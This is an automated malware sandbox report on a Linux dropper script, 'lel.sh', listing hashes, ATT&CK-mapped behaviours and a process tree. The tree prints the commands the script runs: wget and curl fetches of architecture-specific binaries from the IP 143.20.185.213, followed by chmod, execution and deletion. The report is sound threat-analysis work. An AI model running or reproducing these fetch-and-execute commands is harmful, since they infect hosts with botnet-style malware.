97a32fe0056625fed452241b117355332a0e81ea94c99580a858a2b0437e81bd

Analysis

max time kernel
35s
max time network
41s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
25/09/2026, 09:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lel.sh
Size 1KB
Sample260925-lhzexsysfx
SHA256 97a32fe0056625fed452241b117355332a0e81ea94c99580a858a2b0437e81bd
MD5 b3b0de5e2a68cac75d43add4b8460d50
SHA1 ab2c32d426c454a92457b494e6e333bedd739349
SHA512 df4360b7a965d164ccb1b94ecda5ff3d31e63246f8a87923f4271e4d52045708fef0fc3390aab917833b5b29a41d1b25965fb23d1b87409747b1a5b38c40353e
TLSH
T1DF31E482A1948B72DE4DCE577A698D0C70D962C0A8D1FF0ADCFA65B7DD4EE483003E61
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Contacts a large (168768) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1519	chmod
1525	chmod
1528	chmod
1486	chmod
1504	chmod
1507	chmod
1513	chmod
1522	chmod
1531	chmod
1498	chmod
1510	chmod
1516	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/x64s	1499	lel.sh

Renames itself 1 IoCs

pid	Process
1499	x64s

Enumerates running processes
Discovers information about currently running processes on the system

Reads MAC address of network interface 2 TTPs 1 IoCs

Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

defense_evasion discovery

System Network Connections Discovery

T1049

Wi-Fi Discovery

T1016.002

description	ioc	Process
File opened for reading	/sys/class/net/ens3/address	x64s

Reads network interface configuration 2 TTPs 2 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/class/net/ens3/flags	x64s
File opened for reading	/sys/class/net/ens3/carrier	x64s

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	ntpclient	1499	x64s

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	x64s

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	x64s

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/8/cmdline	x64s
File opened for reading	/proc/89/cmdline	x64s
File opened for reading	/proc/203/cmdline	x64s
File opened for reading	/proc/979/cmdline	x64s
File opened for reading	/proc/1048/cmdline	x64s
File opened for reading	/proc/1049/cmdline	x64s
File opened for reading	/proc/1315/cmdline	x64s
File opened for reading	/proc/17/cmdline	x64s
File opened for reading	/proc/22/cmdline	x64s
File opened for reading	/proc/36/cmdline	x64s
File opened for reading	/proc/547/cmdline	x64s
File opened for reading	/proc/929/cmdline	x64s
File opened for reading	/proc/1086/cmdline	x64s
File opened for reading	/proc/1517/cmdline	x64s
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/471/cmdline	x64s
File opened for reading	/proc/1065/cmdline	x64s
File opened for reading	/proc/524/cmdline	x64s
File opened for reading	/proc/83/cmdline	x64s
File opened for reading	/proc/98/cmdline	x64s
File opened for reading	/proc/1/cmdline	x64s
File opened for reading	/proc/7/cmdline	x64s
File opened for reading	/proc/161/cmdline	x64s
File opened for reading	/proc/self/mountinfo	mount
File opened for reading	/proc/10/cmdline	x64s
File opened for reading	/proc/35/cmdline	x64s
File opened for reading	/proc/457/cmdline	x64s
File opened for reading	/proc/473/cmdline	x64s
File opened for reading	/proc/973/cmdline	x64s
File opened for reading	/proc/1066/cmdline	x64s
File opened for reading	/proc/1154/cmdline	x64s
File opened for reading	/proc/4/cmdline	x64s
File opened for reading	/proc/314/cmdline	x64s
File opened for reading	/proc/433/cmdline	x64s
File opened for reading	/proc/477/cmdline	x64s
File opened for reading	/proc/679/cmdline	x64s
File opened for reading	/proc/1044/cmdline	x64s
File opened for reading	/proc/1069/cmdline	x64s
File opened for reading	/proc/21/cmdline	x64s
File opened for reading	/proc/171/cmdline	x64s
File opened for reading	/proc/488/cmdline	x64s
File opened for reading	/proc/523/cmdline	x64s
File opened for reading	/proc/1027/cmdline	x64s
File opened for reading	/proc/1523/cmdline	x64s
File opened for reading	/proc/1530/cmdline	x64s
File opened for reading	/proc/202/cmdline	x64s
File opened for reading	/proc/910/cmdline	x64s
File opened for reading	/proc/1031/cmdline	x64s
File opened for reading	/proc/1303/cmdline	x64s
File opened for reading	/proc/1506/cmdline	x64s
File opened for reading	/proc/162/cmdline	x64s
File opened for reading	/proc/169/cmdline	x64s
File opened for reading	/proc/173/cmdline	x64s
File opened for reading	/proc/902/cmdline	x64s
File opened for reading	/proc/990/cmdline	x64s
File opened for reading	/proc/1077/cmdline	x64s
File opened for reading	/proc/self/exe	x64s
File opened for reading	/proc/6/cmdline	x64s
File opened for reading	/proc/18/cmdline	x64s
File opened for reading	/proc/84/cmdline	x64s
File opened for reading	/proc/86/cmdline	x64s
File opened for reading	/proc/168/cmdline	x64s
File opened for reading	/proc/269/cmdline	x64s
File opened for reading	/proc/607/cmdline	x64s

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1509	rm
1505	wget
1506	curl
1508	mips

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/x64s	wget
File opened for modification	/tmp/x64s	curl

/tmp/lel.sh
/tmp/lel.sh
1⤵
- Executes dropped EXE
PID:1481
- /bin/mount
  mount -t tmpfs tmpfs /var/run
  2⤵
  PID:1482
- /bin/mount
  mount -o "remount,rw,exec" /var/run
  2⤵
  PID:1483
- /bin/mount
  mount -o "remount,rw,exec" /tmp
  2⤵
  - Reads runtime system information
  PID:1484
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1485
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:1486
- /usr/bin/wget
  wget http://143.20.185.213/x64s
  2⤵
  - Writes file to tmp directory
  PID:1488
- /usr/bin/curl
  curl -O http://143.20.185.213/x64s
  2⤵
  - Writes file to tmp directory
  PID:1496
- /bin/chmod
  chmod +x busybox config-err-R8kKGE lel.sh netplan_1509tslh snap-private-tmp ssh-xH90P1JN8ohZ systemd-private-93441a20b7ee41c4bb63b34624ac8101-ModemManager.service-OTwbJ3 systemd-private-93441a20b7ee41c4bb63b34624ac8101-bolt.service-c3UrMK systemd-private-93441a20b7ee41c4bb63b34624ac8101-colord.service-KsStcT systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-resolved.service-Em6Tlg systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-timedated.service-otQKvj x64s
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /tmp/x64s
  ./x64s x64s
  2⤵
  - Renames itself
  - Reads MAC address of network interface
  - Reads network interface configuration
  - Changes its process name
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1499
- /bin/rm
  rm -rf x64s
  2⤵
  PID:1501
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /usr/bin/wget
  wget http://143.20.185.213/mips
  2⤵
  - System Network Configuration Discovery
  PID:1505
- /usr/bin/curl
  curl -O http://143.20.185.213/mips
  2⤵
  - System Network Configuration Discovery
  PID:1506
- /bin/chmod
  chmod +x busybox config-err-R8kKGE lel.sh libcow.so netplan_1509tslh snap-private-tmp ssh-xH90P1JN8ohZ systemd-private-93441a20b7ee41c4bb63b34624ac8101-ModemManager.service-OTwbJ3 systemd-private-93441a20b7ee41c4bb63b34624ac8101-bolt.service-c3UrMK systemd-private-93441a20b7ee41c4bb63b34624ac8101-colord.service-KsStcT systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-resolved.service-Em6Tlg systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-timedated.service-otQKvj
  2⤵
  - File and Directory Permissions Modification
  PID:1507
- /tmp/mips
  ./mips mips
  2⤵
  - System Network Configuration Discovery
  PID:1508
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:1509
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /usr/bin/wget
  wget http://143.20.185.213/mpsl
  2⤵
  PID:1511
- /usr/bin/curl
  curl -O http://143.20.185.213/mpsl
  2⤵
  PID:1512
- /bin/chmod
  chmod +x busybox config-err-R8kKGE lel.sh libcow.so netplan_1509tslh snap-private-tmp ssh-xH90P1JN8ohZ systemd-private-93441a20b7ee41c4bb63b34624ac8101-ModemManager.service-OTwbJ3 systemd-private-93441a20b7ee41c4bb63b34624ac8101-bolt.service-c3UrMK systemd-private-93441a20b7ee41c4bb63b34624ac8101-colord.service-KsStcT systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-resolved.service-Em6Tlg systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-timedated.service-otQKvj
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/mpsl
  ./mpsl mpsl
  2⤵
  PID:1514
- /bin/rm
  rm -rf mpsl
  2⤵
  PID:1515
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /usr/bin/wget
  wget http://143.20.185.213/armv7
  2⤵
  PID:1517
- /usr/bin/curl
  curl -O http://143.20.185.213/armv7
  2⤵
  PID:1518
- /bin/chmod
  chmod +x busybox config-err-R8kKGE lel.sh libcow.so netplan_1509tslh snap-private-tmp ssh-xH90P1JN8ohZ systemd-private-93441a20b7ee41c4bb63b34624ac8101-ModemManager.service-OTwbJ3 systemd-private-93441a20b7ee41c4bb63b34624ac8101-bolt.service-c3UrMK systemd-private-93441a20b7ee41c4bb63b34624ac8101-colord.service-KsStcT systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-resolved.service-Em6Tlg systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-timedated.service-otQKvj
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/armv7
  ./armv7 armv7
  2⤵
  PID:1520
- /bin/rm
  rm -rf armv7
  2⤵
  PID:1521
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /usr/bin/wget
  wget http://143.20.185.213/armv5
  2⤵
  PID:1523
- /usr/bin/curl
  curl -O http://143.20.185.213/armv5
  2⤵
  PID:1524
- /bin/chmod
  chmod +x busybox config-err-R8kKGE lel.sh libcow.so netplan_1509tslh snap-private-tmp ssh-xH90P1JN8ohZ systemd-private-93441a20b7ee41c4bb63b34624ac8101-ModemManager.service-OTwbJ3 systemd-private-93441a20b7ee41c4bb63b34624ac8101-bolt.service-c3UrMK systemd-private-93441a20b7ee41c4bb63b34624ac8101-colord.service-KsStcT systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-resolved.service-Em6Tlg systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-timedated.service-otQKvj
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/armv5
  ./armv5 armv5
  2⤵
  PID:1526
- /bin/rm
  rm -rf armv5
  2⤵
  PID:1527
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /usr/bin/wget
  wget http://143.20.185.213/aarch64
  2⤵
  PID:1529
- /usr/bin/curl
  curl -O http://143.20.185.213/aarch64
  2⤵
  PID:1530
- /bin/chmod
  chmod +x busybox config-err-R8kKGE lel.sh libcow.so netplan_1509tslh snap-private-tmp ssh-xH90P1JN8ohZ systemd-private-93441a20b7ee41c4bb63b34624ac8101-ModemManager.service-OTwbJ3 systemd-private-93441a20b7ee41c4bb63b34624ac8101-bolt.service-c3UrMK systemd-private-93441a20b7ee41c4bb63b34624ac8101-colord.service-KsStcT systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-resolved.service-Em6Tlg systemd-private-93441a20b7ee41c4bb63b34624ac8101-systemd-timedated.service-otQKvj
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/aarch64
  ./aarch64 aarch64
  2⤵
  PID:1532
- /bin/rm
  rm -rf aarch64
  2⤵
  PID:1533

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

busybox

Path /tmp/busybox
Size 2.0MB
SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
MD5 b4dede5fc0b1bad5cb8e901bde126b97
SHA1 10cbe9a418ad84a1ed297948539d37aeb58dd810
SHA512 45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
SSDEEP 49152:YfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:WYfFVdIpGxz1E
TLSH
T1D8A57C16B2E320FCC597C13043AFD7626D75B4AA12317E7F35849A312E56EA02B1DB63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x64s

Path /tmp/x64s
Size 951KB
SHA256 2aabae20e3321ad0e102a7a3fcf546115a310710110712dad7b43127fa0eb6b0
MD5 b71854f1604a029e5ff8f628c56285de
SHA1 acea454e0cb3668cfdacf23480781aa042a6b748
SHA512 25dcb08a45e107a2af9a408a0bf2b4d8501faa41284ff95a03cc146c61b76a84d66a651090b330c5582ff46707235f53321c534a8b610be41ffa891ae13ba1f4
SSDEEP 12288:uRt0XrjAphNgIifGxKkamon66VT8ddH4dmPOF2NFjVRU2aay6UKuHXQRq3:ufdhNgwgmo6+JF2NFjVRJxRq3
TLSH
T137257B1AB2E2B0BCD017C03007DFDA629775F07726226E7B36C49A352D5FDA52369B21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads